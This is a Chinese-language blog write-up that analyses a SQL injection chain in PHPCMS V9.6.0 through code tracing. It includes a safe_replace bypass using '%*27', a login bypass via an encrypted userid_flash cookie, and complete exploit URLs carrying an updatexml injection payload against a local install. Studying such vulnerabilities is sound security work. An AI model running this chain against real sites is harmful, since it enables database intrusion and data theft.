• phpcmsV9.6.0sql注入漏洞分析


    目录

    前言

    环境准备

    漏洞点

    看一看parse_str函数

    看一看sys_auth函数

    看一看get_one函数

    全局搜索sys_auth($a_k, 'ENCODE')

    查看哪里调用了 set_cookie

    查看safe_replace函数

    判断登录绕过

    index的业务

    加载modules/wap/index.php

    加载modules/attachment/attachments.php

    加载modules\content\down.php


    前言

    本次分析phpcmsV9.6.0 的sql注入漏洞,过程很曲折,就像cc链一样,要一步一步找到利用的链。
    纯手动分析没有软件调试,中间找类啊,方法啊 ,都是按照代码流程写的流程分析的,对自己也是一个挑战吧!

    环境准备

    添加php的运行环境

    PHPCMSV9.6.0 源码下载

    链接:https://pan.baidu.com/s/1h87h2RLBNsu8Ox6eRRK6Qw?pwd=cefh 
    提取码:cefh

    漏洞点

    请看phpcms\modules\content\down.php 文件下down类中的一个函数方法

    1. public function init() {
    2. $a_k = trim($_GET['a_k']);
    3. if(!isset($a_k)) showmessage(L('illegal_parameters'));
    4. $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
    5. if(empty($a_k)) showmessage(L('illegal_parameters'));
    6. unset($i,$m,$f);
    7. parse_str($a_k);
    8. if(isset($i)) $i = $id = intval($i);
    9. if(!isset($m)) showmessage(L('illegal_parameters'));
    10. if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
    11. if(empty($f)) showmessage(L('url_invalid'));
    12. $allow_visitor = 1;
    13. $MODEL = getcache('model','commons');
    14. $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
    15. $this->db->table_name = $tablename.'_data';
    16. $rs = $this->db->get_one(array('id'=>$id));
    17. $siteids = getcache('category_content','commons');
    18. $siteid = $siteids[$catid];
    19. $CATEGORYS = getcache('category_content_'.$siteid,'commons');
    20. ...

    get传参&a_k,之后对参数$a_k做了sys_auth()函数处理 模式是解密处理,后面sql的数据库处理,这里是否存在sql注入呢!

    看一看parse_str函数

    官方文档说明

    看来这个函数可以根据传参&k=v 的形式创建变量 ,我们可以创建$id参数 试试sql注入,因为下面的代码涉及数据库查询

    看if(isset($i)) $i = $id = intval($i); 好像对$id做了处理,不过没有用,因为上面的代码有执行unset($i,$m,$f); ,这意味者$i是无效的。 之后$id是一直没有做过滤处理,直接到了sql查询,那么这存在的sql注入可能性是非常的大的。

    我们欲定制的&id=' and updatexml(1,concat(1,(user())),1) 通过parse_str创建sql注入危险参数 传入sql查询中,这有可能返回用户信息。

    不过在此之前我们要看一下加解密的这个函数sys_auth();

    看一看sys_auth函数
    1. /**
    2. * 字符串加密、解密函数
    3. *
    4. *
    5. * @param string $txt 字符串
    6. * @param string $operation ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
    7. * @param string $key 密钥:数字、字母、下划线
    8. * @param string $expiry 过期时间
    9. * @return string
    10. */
    11. function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
    12. $ckey_length = 4;
    13. $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
    14. $keya = md5(substr($key, 0, 16));
    15. $keyb = md5(substr($key, 16, 16));
    16. $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    17. $cryptkey = $keya.md5($keya.$keyc);
    18. $key_length = strlen($cryptkey);
    19. $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    20. $string_length = strlen($string);
    21. $result = '';
    22. $box = range(0, 255);
    23. $rndkey = array();
    24. for($i = 0; $i <= 255; $i++) {
    25. $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    26. }
    27. for($j = $i = 0; $i < 256; $i++) {
    28. $j = ($j + $box[$i] + $rndkey[$i]) % 256;
    29. $tmp = $box[$i];
    30. $box[$i] = $box[$j];
    31. $box[$j] = $tmp;
    32. }
    33. for($a = $j = $i = 0; $i < $string_length; $i++) {
    34. $a = ($a + 1) % 256;
    35. $j = ($j + $box[$a]) % 256;
    36. $tmp = $box[$a];
    37. $box[$a] = $box[$j];
    38. $box[$j] = $tmp;
    39. $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    40. }
    41. if($operation == 'DECODE') {
    42. if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
    43. return substr($result, 26);
    44. } else {
    45. return '';
    46. }
    47. } else {
    48. return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
    49. }
    50. }

    只看注解就大致明白了这个函数的基本逻辑,传入了字符串和密钥它就返回一个加了密的或者解了密的字符串。非常可能是对称加密。

    而且当你第二个参数密钥没输的话,后面的代码还是会赋给key:pc_base::load_config('system', 'auth_key') ---------------$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));

    看来pc_base::load_config('system','auth_key')这个就是密钥了。

    找到pc_base这个类的load_config方法,找找看密钥在不在

    1. /**
    2. * 加载配置文件
    3. * @param string $file 配置文件
    4. * @param string $key 要获取的配置荐
    5. * @param string $default 默认配置。当获取配置项目失败时该值发生作用。
    6. * @param boolean $reload 强制重新加载。
    7. */
    8. public static function load_config($file, $key = '', $default = '', $reload = false) {
    9. static $configs = array();
    10. if (!$reload && isset($configs[$file])) {
    11. if (empty($key)) {
    12. return $configs[$file];
    13. } elseif (isset($configs[$file][$key])) {
    14. return $configs[$file][$key];
    15. } else {
    16. return $default;
    17. }
    18. }
    19. $path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';
    20. if (file_exists($path)) {
    21. $configs[$file] = include $path;
    22. }
    23. if (empty($key)) {
    24. return $configs[$file];
    25. } elseif (isset($configs[$file][$key])) {
    26. return $configs[$file][$key];
    27. } else {
    28. return $default;
    29. }
    30. }

    第一个if是进不去的因为$configs[$file] 是刚创建的新数组,看它接下来又进行了什么操作

        $path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';
        if (file_exists($path)) {
            $configs[$file] = include $path;
        }

    这里给$configs[$file] 赋了值,分析一下。

    写宏的定义都可以找到//缓存文件夹地址 define('CACHE_PATH', PC_PATH.'..'.DIRECTORY_SEPARATOR.'caches'.DIRECTORY_SEPARATOR); //PHPCMS框架路径 define('PC_PATH', dirname(FILE).DIRECTORY_SEPARATOR);

    根据传入的参数$file=system 可以得到$path的目录
    CACHE_PATH=phpcms../caches./
    $path=phpcms../caches./configs./system.php

    在后面的代码逻辑中似乎取出了什么值,$configs[$file][$key]; 。

    打开这个文件一看 找auth_key的值

     ok 这个密钥找到了

    如果这个密钥每个安装cms的用户密钥都一样的,那就可以直接利用。但如果每个用户的密钥都一样那这个时候就另辟途径了。

    全局搜索看看有没有调用sys_auth($a_k, 'ENCODE');函数 传入的字符串是否可控 ,若可控还能返回最好 ,我们把准备的get传参交由它加密,最后经过phpcms\modules\content\down.php 的sys_auth解密 不就可以利用了。

    为了确保sql注入的准确执行,看一看get_one函数

    看一看get_one函数
    1. ...
    2. $MODEL = getcache('model','commons');
    3. $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
    4. $this->db->table_name = $tablename.'_data';
    5. $rs = $this->db->get_one(array('id'=>$id));
    6. ...

     分析一下db是怎么来的,查看down的构造方法

    1. class down {
    2. private $db;
    3. function __construct() {
    4. $this->db = pc_base::load_model('content_model');
    5. }

    跟进pc_base类下的load_model方法

    1. /**
    2. * 加载数据模型
    3. * @param string $classname 类名
    4. */
    5. public static function load_model($classname) {
    6. return self::_load_class($classname,'model');
    7. }

    在跟进_load_class方法

    1. /**
    2. * 加载类文件函数
    3. * @param string $classname 类名
    4. * @param string $path 扩展地址
    5. * @param intger $initialize 是否初始化
    6. */
    7. private static function _load_class($classname, $path = '', $initialize = 1) {
    8. static $classes = array();
    9. if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';
    10. $key = md5($path.$classname);
    11. if (isset($classes[$key])) {
    12. if (!empty($classes[$key])) {
    13. return $classes[$key];
    14. } else {
    15. return true;
    16. }
    17. }
    18. if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
    19. include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';
    20. $name = $classname;
    21. if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
    22. include $my_path;
    23. $name = 'MY_'.$classname;
    24. }
    25. if ($initialize) {
    26. $classes[$key] = new $name;
    27. } else {
    28. $classes[$key] = true;
    29. }
    30. return $classes[$key];
    31. } else {
    32. return false;
    33. }
    34. }

     由传入的参数$classname=content_model; $path='model'
    PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php' == phpcms/model/content_model.class.php'

    这个文件是存在的所以会被包含进来

    在content_model.class.php内content_model类中没有找到get_one方法,不过它有父类model兴趣能找到get_one方法。

    在父类中有get_one方法

    1. **
    2. * 获取单条记录查询
    3. * @param $where 查询条件
    4. * @param $data 需要查询的字段值[例`name`,`gender`,`birthday`]
    5. * @param $order 排序方式 [默认按数据库默认方式排序]
    6. * @param $group 分组方式 [默认为空]
    7. * @return array/null 数据查询结果集,如果不存在,则返回空
    8. */
    9. final public function get_one($where = '', $data = '*', $order = '', $group = '') {
    10. if (is_array($where)) $where = $this->sqls($where);
    11. return $this->db->get_one($data, $this->table_name, $where, $order, $group);
    12. }

    上来就判断$where是数组吗,是! 刚才我们传的是array('id'=>$id),因此会执行$where = $this->sqls($where);进入sqls方法

    1. /**
    2. * 将数组转换为SQL语句
    3. * @param array $where 要生成的数组
    4. * @param string $font 连接串。
    5. */
    6. final public function sqls($where, $font = ' AND ') {
    7. if (is_array($where)) {
    8. $sql = '';
    9. foreach ($where as $key=>$val) {
    10. $sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";
    11. }
    12. return $sql;
    13. } else {
    14. return $where;
    15. }
    16. }

    假设id=1 那么经过foreach后 $sql="id=1"
    假设id=1 key=2那么经过foreach后 $sql="id=1 and key=2"

    将$sql返回赋值给$where
    续分析return $this->db->get_one($data, $this->table_name, $where, $order, $group);

    这里貌似有了新的db,去看一看db怎么来的, 找到model类的构造函数

    1. class model {
    2. //数据库配置
    3. protected $db_config = '';
    4. //数据库连接
    5. protected $db = '';
    6. //调用数据库的配置项
    7. protected $db_setting = 'default';
    8. //数据表名
    9. protected $table_name = '';
    10. //表前缀
    11. public $db_tablepre = '';
    12. public function __construct() {
    13. if (!isset($this->db_config[$this->db_setting])) {
    14. $this->db_setting = 'default';
    15. }
    16. $this->table_name = $this->db_config[$this->db_setting]['tablepre'].$this->table_name;
    17. $this->db_tablepre = $this->db_config[$this->db_setting]['tablepre'];
    18. $this->db = db_factory::get_instance($this->db_config)->get_database($this->db_setting);
    19. }

    找到同级目录下的db_factory类 get_instance静态方法

    1. /**
    2. * 返回当前终级类对象的实例
    3. * @param $db_config 数据库配置
    4. * @return object
    5. */
    6. public static function get_instance($db_config = '') {
    7. if($db_config == '') {
    8. $db_config = pc_base::load_config('database');
    9. }
    10. if(db_factory::$db_factory == '') {
    11. db_factory::$db_factory = new db_factory();
    12. }
    13. if($db_config != '' && $db_config != db_factory::$db_factory->db_config) db_factory::$db_factory->db_config = array_merge($db_config, db_factory::$db_factory->db_config);
    14. return db_factory::$db_factory;
    15. }

    实例化db_factory类,后面又调用了get_database方法 ,

    1. /**
    2. * 获取数据库操作实例
    3. * @param $db_name 数据库配置名称
    4. */
    5. public function get_database($db_name) {
    6. if(!isset($this->db_list[$db_name]) || !is_object($this->db_list[$db_name])) {
    7. $this->db_list[$db_name] = $this->connect($db_name);
    8. }
    9. return $this->db_list[$db_name];
    10. }

    进入connect方法 看看返回的return $this->db_list[$db_name];是什么

    1. /**
    2. * 加载数据库驱动
    3. * @param $db_name 数据库配置名称
    4. * @return object
    5. */
    6. public function connect($db_name) {
    7. $object = null;
    8. switch($this->db_config[$db_name]['type']) {
    9. case 'mysql' :
    10. pc_base::load_sys_class('mysql', '', 0);
    11. $object = new mysql();
    12. break;
    13. case 'mysqli' :
    14. $object = pc_base::load_sys_class('db_mysqli');
    15. break;
    16. case 'access' :
    17. $object = pc_base::load_sys_class('db_access');
    18. break;
    19. default :
    20. pc_base::load_sys_class('mysql', '', 0);
    21. $object = new mysql();
    22. }
    23. $object->open($this->db_config[$db_name]);
    24. return $object;
    25. }

    这里我们需要判断 $this->db_config[$db_name]['type'] 存的是什么字符串

    connect的$db_name来自get_database的$db_name
    get_database的$db_name来自$this->db_setting
    db_setting = 'default'

    找一下$db_config
    $db_config = pc_base::load_config('database');
    根据刚才找system的套路 我们也向caches\configs目录下找

    1. return array (
    2. 'default' => array (
    3. 'hostname' => 'localhost',
    4. 'port' => 3306,
    5. 'database' => 'phpcmsv9',
    6. 'username' => 'root',
    7. 'password' => '',
    8. 'tablepre' => 'v9_',
    9. 'charset' => 'utf8',
    10. 'type' => 'mysqli',
    11. 'debug' => true,
    12. 'pconnect' => 0,
    13. 'autoconnect' => 0
    14. ),
    15. );
    16. ?>

    既然是default 后面又有type 那么最终返回的就是mysqli

    现在可以判断的是刚才的switch语句会执行以下的代码

    1. case 'mysqli' :
    2. $object = pc_base::load_sys_class('db_mysqli');
    3. break;

    跟进去load_sys_class

    1. /**
    2. * 加载系统类方法
    3. * @param string $classname 类名
    4. * @param string $path 扩展地址
    5. * @param intger $initialize 是否初始化
    6. */
    7. public static function load_sys_class($classname, $path = '', $initialize = 1) {
    8. return self::_load_class($classname, $path, $initialize);
    9. }

     在跟进去_load_class

    1. /**
    2. * 加载类文件函数
    3. * @param string $classname 类名
    4. * @param string $path 扩展地址
    5. * @param intger $initialize 是否初始化
    6. */
    7. private static function _load_class($classname, $path = '', $initialize = 1) {
    8. static $classes = array();
    9. if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';
    10. $key = md5($path.$classname);
    11. if (isset($classes[$key])) {
    12. if (!empty($classes[$key])) {
    13. return $classes[$key];
    14. } else {
    15. return true;
    16. }
    17. }
    18. if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
    19. include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';
    20. $name = $classname;
    21. if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
    22. include $my_path;
    23. $name = 'MY_'.$classname;
    24. }
    25. if ($initialize) {
    26. $classes[$key] = new $name;
    27. } else {
    28. $classes[$key] = true;
    29. }
    30. return $classes[$key];
    31. } else {
    32. return false;
    33. }
    34. }

    ok 我们去上libs/classes 这个目录下的db_mysqli类找出来 ;文件名为db_mysqli.class.php 函数加载了这个类

    由此可见db存的是db_mysqli实例化类

    db_mysqli有get_one的方法

    1. /**
    2. * 获取单条记录查询
    3. * @param $data 需要查询的字段值[例`name`,`gender`,`birthday`]
    4. * @param $table 数据表
    5. * @param $where 查询条件
    6. * @param $order 排序方式 [默认按数据库默认方式排序]
    7. * @param $group 分组方式 [默认为空]
    8. * @return array/null 数据查询结果集,如果不存在,则返回空
    9. */
    10. public function get_one($data, $table, $where = '', $order = '', $group = '') {
    11. $where = $where == '' ? '' : ' WHERE '.$where;
    12. $order = $order == '' ? '' : ' ORDER BY '.$order;
    13. $group = $group == '' ? '' : ' GROUP BY '.$group;
    14. $limit = ' LIMIT 1';
    15. $field = explode( ',', $data);
    16. array_walk($field, array($this, 'add_special_char'));
    17. $data = implode(',', $field);
    18. $sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;
    19. $this->execute($sql);
    20. $res = $this->fetch_next();
    21. $this->free_result();
    22. return $res;
    23. }

    所以这里的之前的get_one函数会跳转到上面的get_one函数

        final public function get_one($where = '', $data = '*', $order = '', $group = '') {
        if (is_array($where)) $where = $this->sqls($where);
        return $this->db->get_one($data, $this->table_name, $where, $order, $group);

    ​$where = $where == ' ' ? ' ' : ' WHERE '.$where; ​ 将成为 WHERE id=1 之类的
    $order = $order == ' ' ? ' ' : ' ORDER BY '.$order; $order为空
    $group = $group == '' ? '' : ' GROUP BY '.$group; $group为空
    $data = '*'经过$field = explode( ',', $data); $field成为数组 .....

    看sql语句的字符串

    $sql = 'SELECT '.$data.' FROM '.$this->config['database'].'.'.$table.''.$where.$group.$order.$limit;
    最终形成的形式为$sql = 'SELECT '.$data.' FROM '.$this->config['database'].'.'.$table.'' WHERE id=1 LIMIT 1;
    这样美誉经过任何过滤项 已经形成sql注入的必要条件了。

    全局搜索sys_auth($a_k, 'ENCODE')

    在phpcms\libs\classes\param.class.php文件中

    1. /**
    2. * 设置 cookie
    3. * @param string $var 变量名
    4. * @param string $value 变量值
    5. * @param int $time 过期时间
    6. */
    7. public static function set_cookie($var, $value = '', $time = 0) {
    8. $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
    9. $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
    10. $var = pc_base::load_config('system','cookie_pre').$var;
    11. $_COOKIE[$var] = $value;
    12. if (is_array($value)) {
    13. foreach($value as $k=>$v) {
    14. setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
    15. }
    16. } else {
    17. setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
    18. }
    19. }

    ('cookie_pre' => 'tqdSZ_', //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀 )

    $value参数可控的话就可以利用,这里setcookie方法貌似是js中定义的,可以返回到前端

    1. function setcookie(name, value, days) {
    2. name = cookie_pre+name;
    3. var argc = setcookie.arguments.length;
    4. var argv = setcookie.arguments;
    5. var secure = (argc > 5) ? argv[5] : false;
    6. var expire = new Date();
    7. if(days==null || days==0) days=1;
    8. expire.setTime(expire.getTime() + 3600000*24*days);
    9. document.cookie = name + "=" + escape(value) + ("; path=" + cookie_path) + ((cookie_domain == '') ? "" : ("; domain=" + cookie_domain)) + ((secure == true) ? "; secure" : "") + ";expires="+expire.toGMTString();
    10. }

    在phpcms/modules/attachment/attachments.php文件中 ,有一个方法

    1. /**
    2. * 设置swfupload上传的json格式cookie
    3. */
    4. public function swfupload_json() {
    5. $arr['aid'] = intval($_GET['aid']);
    6. $arr['src'] = safe_replace(trim($_GET['src']));
    7. $arr['filename'] = urlencode(safe_replace($_GET['filename']));
    8. $json_str = json_encode($arr);
    9. $att_arr_exist = param::get_cookie('att_json');
    10. $att_arr_exist_tmp = explode('||', $att_arr_exist);
    11. if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
    12. return true;
    13. } else {
    14. $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
    15. param::set_cookie('att_json',$json_str);
    16. return true;
    17. }
    18. }

    查看接收字符串的src与filename参数,中间经过了safe_replace的处理之后由json_encode处理后放入set_cookie ,

    查看safe_replace函数
    1. /**
    2. * 安全过滤函数
    3. *
    4. * @param $string
    5. * @return string
    6. */
    7. function safe_replace($string) {
    8. $string = str_replace('%20','',$string);
    9. $string = str_replace('%27','',$string);
    10. $string = str_replace('%2527','',$string);
    11. $string = str_replace('*','',$string);
    12. $string = str_replace('"','"',$string);
    13. $string = str_replace("'",'',$string);
    14. $string = str_replace('"','',$string);
    15. $string = str_replace(';','',$string);
    16. $string = str_replace('<','<',$string);
    17. $string = str_replace('>','>',$string);
    18. $string = str_replace("{",'',$string);
    19. $string = str_replace('}','',$string);
    20. $string = str_replace('\\','',$string);
    21. return $string;
    22. }

    这个函数的确过滤了不少特殊的字符,但它是顺序执行了的啊!

    给出思路: 假如我们像传参%27 我们可以写成%*27 ,是不是可以绕过了。

    判断登录绕过

    要使用这个类还有有一个前提
    看一看attachments类的初始化工作

    1. class attachments {
    2. private $att_db;
    3. function __construct() {
    4. pc_base::load_app_func('global');
    5. $this->upload_url = pc_base::load_config('system','upload_url');
    6. $this->upload_path = pc_base::load_config('system','upload_path');
    7. $this->imgext = array('jpg','gif','png','bmp','jpeg');
    8. $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
    9. $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
    10. $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
    11. //判断是否登录
    12. if(empty($this->userid)){
    13. showmessage(L('please_login','','member'));
    14. }
    15. }

    必须让userid不为空,分析前面的带代码得知post传入userid_flash参数即可

    为了使userid加密 格式正确我们可以看下面的代码

    phpcms/modules/wap/index.php

    1. class index {
    2. function __construct() {
    3. $this->db = pc_base::load_model('content_model');
    4. $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
    5. param::set_cookie('siteid',$this->siteid);
    6. $this->wap_site = getcache('wap_site','wap');
    7. $this->types = getcache('wap_type','wap');
    8. $this->wap = $this->wap_site[$this->siteid];
    9. define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
    10. if($this->wap['status']!=1) exit(L('wap_close_status'));
    11. }

    这里get接收siteid并且经过加密(set_cookie里)返回  我们可以拿到一个正常的加密的siteid值

    一切都看似很美好,那么我们如何传参呢?

    index的业务

    看首页的index.php

    1. /**
    2. * index.php PHPCMS 入口
    3. *
    4. * @copyright (C) 2005-2010 PHPCMS
    5. * @license http://www.phpcms.cn/license/
    6. * @lastmodify 2010-6-1
    7. */
    8. //PHPCMS根目录
    9. define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
    10. include PHPCMS_PATH.'/phpcms/base.php';
    11. pc_base::creat_app();
    12. ?>

    跟进pc_base类中的creat_app方法

    1. /**
    2. * 初始化应用程序
    3. */
    4. public static function creat_app() {
    5. return self::load_sys_class('application');
    6. }

    根据刚才的套路可以想到这应该是到libs/classes目录下找application.class 找到application类

    application类有构造函数

    1. class application {
    2. /**
    3. * 构造函数
    4. */
    5. public function __construct() {
    6. $param = pc_base::load_sys_class('param');
    7. define('ROUTE_M', $param->route_m());
    8. define('ROUTE_C', $param->route_c());
    9. define('ROUTE_A', $param->route_a());
    10. $this->init();
    11. }

    这里定义了几根宏后面可能会用到,看看route_m

    1. /**
    2. * 获取模型
    3. */
    4. public function route_m() {
    5. $m = isset($_GET['m']) && !empty($_GET['m']) ? $_GET['m'] : (isset($_POST['m']) && !empty($_POST['m']) ? $_POST['m'] : '');
    6. $m = $this->safe_deal($m);
    7. if (empty($m)) {
    8. return $this->route_config['m'];
    9. } else {
    10. if(is_string($m)) return $m;
    11. }
    12. }

    route_c

    1. /**
    2. * 获取控制器
    3. */
    4. public function route_c() {
    5. $c = isset($_GET['c']) && !empty($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : '');
    6. $c = $this->safe_deal($c);
    7. if (empty($c)) {
    8. return $this->route_config['c'];
    9. } else {
    10. if(is_string($c)) return $c;
    11. }
    12. }

    $param存的应该是param类

    进入init函数

    1. /**
    2. * 调用件事
    3. */
    4. private function init() {
    5. $controller = $this->load_controller();
    6. if (method_exists($controller, ROUTE_A)) {
    7. if (preg_match('/^[_]/i', ROUTE_A)) {
    8. exit('You are visiting the action is to protect the private action');
    9. } else {
    10. call_user_func(array($controller, ROUTE_A));
    11. }
    12. } else {
    13. exit('Action does not exist.');
    14. }
    15. }

    进入load_controller

    1. /**
    2. * 加载控制器
    3. * @param string $filename
    4. * @param string $m
    5. * @return obj
    6. */
    7. private function load_controller($filename = '', $m = '') {
    8. if (empty($filename)) $filename = ROUTE_C;
    9. if (empty($m)) $m = ROUTE_M;
    10. $filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';
    11. if (file_exists($filepath)) {
    12. $classname = $filename;
    13. include $filepath;
    14. if ($mypath = pc_base::my_path($filepath)) {
    15. $classname = 'MY_'.$filename;
    16. include $mypath;
    17. }
    18. if(class_exists($classname)){
    19. return new $classname;
    20. }else{
    21. exit('Controller does not exist.');
    22. }
    23. } else {
    24. exit('Controller does not exist.');
    25. }
    26. }
    27. }

     可以传参c=cccc&m=mmm
    $filepath=phpcms/modules/mmmm/cccc.php,如果这个文件存在 那就包含这个文件
    返回这个实例化类

    call_user_func(array($controller, ROUTE_A));这段代码似乎在告诉我们可以执行函数

    根据这个逻辑我们可以包含phpcms/modules/wap/index.php,加载index类(__construct会自动执行),这样就可传参siteid了

    加载modules/wap/index.php

    试一下

    http://localhost/PHPCMSV9.6.0/install_package/index.php?c=index&m=wap&siteid=1

    我们可以看到这里确实返回了cookie

    加载modules/attachment/attachments.php

    准备加载在phpcms/modules/attachment/attachments.php加载attachments类

    http://localhost/PHPCMSV9.6.0/install_package/index.php?c=attachments&m=attachment

    我们需要执行这个类的一个函数swfupload_json,注意call_user_func(array($controller, ROUTE_A));这段代码似乎在告诉我们可以执行函数

    1. /**
    2. * 获取事件
    3. */
    4. public function route_a() {
    5. $a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) && !empty($_POST['a']) ? $_POST['a'] : '');
    6. $a = $this->safe_deal($a);
    7. if (empty($a)) {
    8. return $this->route_config['a'];
    9. } else {
    10. if(is_string($a)) return $a;
    11. }
    12. }

    我们试试把get传入参数a

    http://localhost/PHPCMSV9.6.0/install_package/index.php?c=attachment&m=attachment&a=swfupload_json

    注意这个请求应是post,加上userid_flash 之前我们得到的可以绕过登录的加密密文
    userid_flash=6b47nnR-RzzZSlL3pvOWVbDDRPViHYmbMZJc0tHF

    如果这个请求可以执行swfupload_json函数, 那就要考虑传参了,这也是我们愿意看到的向src传参。

    不过此前我们还要考虑到如下的代码

            if(isset($i)) $i = $id = intval($i);
            if(!isset($m)) showmessage(L('illegal_parameters'));
            if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
            if(empty($f)) showmessage(L('url_invalid'));

     由于以上代码参数限制我们 在传参的时候加把这些if绕过去,于是我们payload设置如下

    http://localhost/PHPCMSV9.6.0/install_package/index.php?&c=attachments&m=attachment&a=swfupload_json&src=&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=1

     此时有cookie的返回

     将这段的cookie记录下来

    afcfsNwbRJG7g6_H1TAYuikPc7AgYSLv2p1PphPqu-nPAA63qmlQv_V1O1wTd4d4Eyq_hchY-nmSQmL4NVp_lD-SAeYsZ2CoNOueTAT7-peI5i28hB2-QaEKOHJ7G5X-kh60--Mlqr5RlSx-5VYAEpdDcqAUyLRcc1bBeHJ1WE-Y8hk1mVxyOF3yLHfbyDwgvXfXGpPDkjA7rMgp4jFma_m4yFFRrL1_prt4my_NsnI6bKUwyzT1iuTIT2rL7E61

    加载modules\content\down.php

    phpcms\modules\content\down.php 加载init函数 传入参数&a_k

    http://localhost/PHPCMSV9.6.0/install_package/index.php?&c=down&m=content&a=init&a_k=afcfsNwbRJG7g6_H1TAYuikPc7AgYSLv2p1PphPqu-nPAA63qmlQv_V1O1wTd4d4Eyq_hchY-nmSQmL4NVp_lD-SAeYsZ2CoNOueTAT7-peI5i28hB2-QaEKOHJ7G5X-kh60--Mlqr5RlSx-5VYAEpdDcqAUyLRcc1bBeHJ1WE-Y8hk1mVxyOF3yLHfbyDwgvXfXGpPDkjA7rMgp4jFma_m4yFFRrL1_prt4my_NsnI6bKUwyzT1iuTIT2rL7E61

    可以看到这里确实可以存在sql注入

  • 相关阅读:
    昇思25天学习打卡营第4天|常见的数据变换 Transforms类型
    唯品会三年,我只做了5件事,如今跳槽天猫拿下offer(Java岗)
    以飞地园区为样本,看雨花与韶山如何奏响长株潭一体化发展高歌
    arthas 源码构建
    【好书推荐】学习软件工程的必经之路 | 《人月神话》
    Vue中有哪些优化性能的方法?
    【数据库三大范式】让我们来聊一聊数据库的三大范式和反范式设计
    studio3T import a SQL Database to Mongodb(从mysql中导入数据到mongodb)
    爬虫项目(13):使用lxml抓取相亲信息
    【SQLServer】max worker threads参数配置
  • 原文地址:https://blog.csdn.net/shelter1234567/article/details/132811866